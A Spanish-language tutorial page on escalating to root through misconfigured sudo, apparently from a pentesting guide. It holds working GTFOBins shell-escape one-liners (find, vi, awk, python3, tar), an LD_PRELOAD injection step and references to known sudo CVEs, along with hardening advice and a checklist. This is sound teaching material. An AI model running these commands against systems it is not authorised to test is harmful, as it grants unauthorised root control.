Saltearse al contenido

Abuso de sudo

sudo permite a usuarios ejecutar comandos como otro usuario (normalmente root) según reglas en /etc/sudoers. Es la forma legítima de delegar privilegios, pero una configuración demasiado permisiva —un comando que se puede redirigir a una shell, comodines peligrosos, o NOPASSWD de más— convierte sudo en el camino más rápido y fiable a root. Por eso sudo -l es siempre lo primero que se mira en una escalada.

sudo -l # qué comandos puedo ejecutar como root (y si requieren contraseña)

Salidas típicas y qué significan:

(root) NOPASSWD: /usr/bin/find # puedo ejecutar find como root SIN contraseña
(ALL : ALL) ALL # puedo todo = root directo (sudo su)
(root) /usr/bin/vi /etc/x # vi como root -> shell desde vi

Si puedes ejecutar como root un binario que aparece en GTFOBins en su sección sudo, tienes root:

sudo find . -exec /bin/sh \; -quit # find
sudo vi -c ':!/bin/sh' # vi/vim
sudo less /etc/profile -> !/bin/sh # less (desde el pager)
sudo awk 'BEGIN {system("/bin/sh")}' # awk
sudo python3 -c 'import os;os.system("/bin/sh")'
sudo env /bin/sh # env
sudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh

GTFOBins tiene la receta para decenas de binarios. Si sudo -l muestra uno, búscalo ahí.

Si sudoers preserva variables de entorno peligrosas (env_keep += LD_PRELOAD):

# compilas una librería que lanza shell en su constructor y la precargas
gcc -shared -fPIC -o /tmp/x.so exploit.c
sudo LD_PRELOAD=/tmp/x.so <comando_permitido> # -> root
# sudo con comodín: sudo /script/* -> puedes inyectar argumentos/ficheros
# sudo sobre un script escribible por ti -> editas el script
# sudo sobre un binario que llama a otro sin ruta absoluta -> PATH hijacking

Si secure_path no está bien y el comando usa binarios por nombre, se puede hacer PATH hijacking.

Baron Samedit (CVE-2021-3156) heap overflow en sudo -> root sin necesitar reglas especiales
CVE-2019-14287 sudo -u#-1 -> ejecutar como root pese a "ALL, !root"
# comprobar la versión: sudo --version

Baron Samedit afectó a casi todas las versiones durante años: si el host está sin parchear, es root directo independientemente de sudoers.

  • Mínimo privilegio en sudoers: comandos concretos con ruta absoluta, nunca binarios de GTFOBins, sin comodines peligrosos.
  • Evitar NOPASSWD salvo lo imprescindible; no preservar LD_PRELOAD/LD_LIBRARY_PATH (env_reset, no env_keep).
  • No dar sudo sobre scripts escribibles ni sobre binarios que invocan otros comandos.
  • Parchear sudo (Baron Samedit, CVE-2019-14287); secure_path correcto.
  • Logging/auditoría de sudo; usar sudoedit en vez de dar editores completos.
  • sudo -l → qué comandos y si NOPASSWD
  • Cruzar cada comando permitido con GTFOBins (sección sudo)
  • LD_PRELOAD/LD_LIBRARY_PATH si env_keep los preserva
  • Comodines, scripts escribibles, PATH hijacking
  • Versión de sudo → Baron Samedit (CVE-2021-3156), CVE-2019-14287
  • Ejecución relativa / secure_path mal configurado
  • Obtener shell de root y confirmar (id)
  • Blue: ¿sudoers mínimo, parcheado, env_reset?